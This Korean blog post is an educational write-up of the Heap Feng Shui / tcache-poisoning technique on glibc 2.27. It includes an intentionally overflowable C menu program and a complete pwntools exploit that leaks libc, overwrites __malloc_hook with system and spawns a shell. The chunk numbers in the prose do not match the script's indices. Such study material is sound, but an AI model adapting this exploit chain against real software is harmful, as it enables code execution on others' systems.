공격조건
2.27에서는 가능, heap overflow 발생
Heap Feng Shui란?
힙의 레이아웃을 조작하여 원하는 객체를 덮어쓸 수 있게 하는 기법이다.
중요한 점은 tcache에서는 size검증을 안해서 heap overflow를 통해 free된 tcache chunk의 fd(next)를 아무 주소로 overwrite하면 그 주소를 chunk로 할당 가능하다.
별다른 특징이 없는 기법이다.
예제
// gcc -o fengshui1 fengshui1.c -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int add();
int del();
int edit();
int show();
char *ptr[20];
int ptr_size[20];
int heap_idx = 0;
int main()
{
int idx;
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
while(1) {
printf("1. Add\n");
printf("2. Del\n");
printf("3. Edit\n");
printf("4. Show\n");
printf("> ");
scanf("%d",&idx);
switch(idx) {
case 1:
add();
break;
case 2:
del();
break;
case 3:
edit();
break;
case 4:
show();
break;
default:
printf("Bye\n");
exit(0);
}
}
return 0;
}
int add() {
long int size;
if(heap_idx >= 20 ) {
exit(0);
}
printf("Size: ");
scanf("%ld",&size);
ptr_size[heap_idx] = size;
ptr[heap_idx] = (char *)malloc(size);
heap_idx++;
return 0;
}
int del() {
int idx;
printf("idx: ");
scanf("%d",&idx);
if(idx >= 20) {
exit(0);
}
free(ptr[idx]);
ptr[idx] = 0;
return 0;
}
int edit() {
int idx;
printf("idx: ");
scanf("%d", &idx);
if(idx >= 20) {
exit(0);
}
printf("Data: ");
read(0, ptr[idx], ptr_size[idx]+100);
return 0;
}
int show() {
int idx;
printf("idx: ");
scanf("%d", &idx);
if(idx >= 20) {
exit(0);
}
printf("Data: %s", ptr[idx]);
return 0;
}
- 우선 tcache에 chunk가 들어가면 libc base를 못 구하니 tcache의 범위를 초과하는 1500을 두 번 할당한다.
- 그리고 첫 번째 chunk를 해제한 후 show함수를 통해 libc base를 구한다.
여기까지가 1번 과정이다. - 그리고 tcache에 들어가는 크기 3개를 할당한다. (4,5,6)
- 그리고 6, 4 순서로 free를 한다. 그러면 재할당(7)을 할 경우 4 chunk가 할당이 될 것이다.
- 재할당을 한 후 edit() 함수로 값을 입력한다. 4 5 6 순서이고 free 된 6 chunk의 fd( next) 를 __malloc_hook의 주소로 바꾸면 __malloc_hook의 값을 원하는 값으로 할 수 있다.
- 입력값으로는 0x20 크기로 4 chunk를 꽉 채우고 5 chunk의 prev_size 와 size를 맞춰주고 0x20 크기로 5 chunk를 꽉 채우고 6chunk의 prev_size와 size를 맞춰주고 __malloc_hook의 주소를 적어준다.
- 다시 할당을 하면(8) 6 chunk가 할당되고 또 할당(9)을 하면 __malloc_hook이 할당된다.
- edit() 함수로 system의 주소를 hook에 넣어주고 add()함수로 할당을 하며 size로 “/bin/sh” 문자열의 주소를 넣어주면 _libc_malloc에서 __malloc_hook 함수로 system이 실행되고 인자값으로 “/bin/sh”가 들어가서 셸이 따진다. (원래는 one_gadget으로 한방에 되는데 조건이 안맞는다.)
from pwn import *
context.log_level = 'debug'
e = ELF("./libc-2.27.so")
p = process("./feng")
malloc_hook = e.symbols['__malloc_hook']
system_off = 0x4f420
pause()
p.sendlineafter(b"> ", b'1') #(0)
p.sendlineafter(b"Size: ", b'1500')
p.sendlineafter(b"> ", b'1') #(1)
p.sendlineafter(b"Size: ", b'1500')
p.sendlineafter(b"> ", b'2')
p.sendlineafter(b"idx: ", b'0')
p.sendlineafter(b"> ", b'1') #(2)
p.sendlineafter(b"Size: ", b'1500')
p.sendlineafter(b"> ", b'4')
p.sendlineafter(b"idx: ", b'2')
p.recvuntil(b"Data: ")
libc_off = 0x3ebca0
libc_leak = u64(p.recv(6)+b"\x00\x00")
libc_base = libc_leak - libc_off
system_real = libc_base + system_off
hook_real = libc_base + malloc_hook
# 1번 과정
p.sendlineafter(b"> ", b'1') #(3)
p.sendlineafter(b"Size: ", b'40')
p.sendlineafter(b"> ", b'1') #(4)
p.sendlineafter(b"Size: ", b'40')
p.sendlineafter(b"> ", b'2')
p.sendlineafter(b"idx: ", b'4')
p.sendlineafter(b"> ", b'2')
p.sendlineafter(b"idx: ", b'3')
p.sendlineafter(b"> ", b'1') #(5) (3)
p.sendlineafter(b"Size: ", b'40')
p.sendlineafter(b"> ", b'3')
p.sendlineafter(b"idx: ", b'5')
ex = b'a'*0x20
ex += b'\x00'*0x8
ex += p64(0x31)
ex += p64(hook_real)
p.sendlineafter(b"Data: ", ex)
p.sendlineafter(b"> ", b'1') #(6)
p.sendlineafter(b"Size: ", b'40')
p.sendlineafter(b"> ", b'1') #(7)
p.sendlineafter(b"Size: ", b'40')
p.sendlineafter(b"> ", b'3')
p.sendlineafter(b"idx: ", b'7')
p.sendlineafter(b"Data: ", p64(system_real))
p.sendlineafter(b"> ", b'1')
binsh = libc_base + next(e.search(b"/bin/sh"))
p.sendlineafter(b"Size: ", str(binsh))
p.interactive()
'포너블 > Heap' 카테고리의 다른 글
breaking calloc (0) | 2024.10.12 |
---|---|
__malloc_hook overwrite (0) | 2024.04.29 |
Tcache dup & poisoning (0) | 2023.12.04 |
House of Force (1) | 2023.12.04 |
House of Lore (1) | 2023.11.27 |